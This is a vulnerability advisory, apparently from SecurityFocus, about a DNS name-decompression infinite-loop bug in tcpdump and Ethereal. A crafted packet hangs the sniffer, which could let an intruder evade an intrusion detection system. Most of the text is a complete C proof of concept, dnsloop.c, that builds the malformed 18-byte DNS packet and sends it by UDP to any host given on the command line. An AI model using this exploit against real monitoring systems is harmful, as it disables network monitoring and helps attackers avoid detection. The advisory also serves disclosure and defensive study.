source: http://www.securityfocus.com/bid/1165/info

A vulnerability exists in the DNS decode capabilities provided as part of the tcpdump sniffer, from LBL, as well as other sniffers, including Ethereal, by Gerald Combs. These sniffers will attempt to decode DNS request and queries. However, due to the DNS name compression scheme, it is possible to create a DNS packet such that tcpdump will be caught in an infinite loop, while trying to decompress. This will prevent the sniffer from displaying further packets. If tcpdump is being used as some part of and intrusion detection system, this could allow an intruder to evade this system.

When tcpdump is logging to a file, it is not affected by this vulnerability. Upon reading from a file which contains recorded packets, it will enter an infinite loop when it encounters packets of this type.

/* dnsloop.c by Hugo Breton ([email protected])

   This program illustrates the bug in tcpdump when handling jumps in the DNS
   hostname decompression.
*/


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>


int main(int argc,char * * argv)
{
        char p[18];
        int sock;
        struct sockaddr_in sin;
        struct hostent * hoste;

        printf("dnsloop.c by Hugo Breton ([email protected])\n");

        if(argc<2)
        {
                printf("usage: %s host\n",argv[0]);
                return(0);
        }

        bzero((void *) &sin,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=htons(53);

        if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
        {
                if((hoste=gethostbyname(argv[1]))==NULL)
                {
                        printf("unknown host %s\n",argv[1]);
                        return(0);
                }
                
                bcopy(hoste->h_addr,&sin.sin_addr.s_addr,4);
        }

        bzero((void *) p,18);
        * ((unsigned short *) (p+0))=htons(867-5309);
        * ((unsigned short *) (p+4))=htons(1);
        * ((unsigned short *) (p+12))=htons(32768+16384+12);
        * ((unsigned short *) (p+14))=htons(1);
        * ((unsigned short *) (p+16))=htons(1);

        if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
        {
                printf("unable to create UDP socket\n");
                return(0);
        }

        if(sendto(sock,p,18,0,(struct sockaddr *) &sin,sizeof(sin))==-1)
        {
                printf("unable to send packet\n");
                return(0);
        }

        printf("packet sent to host %s\n",argv[1]);

        return(0);
}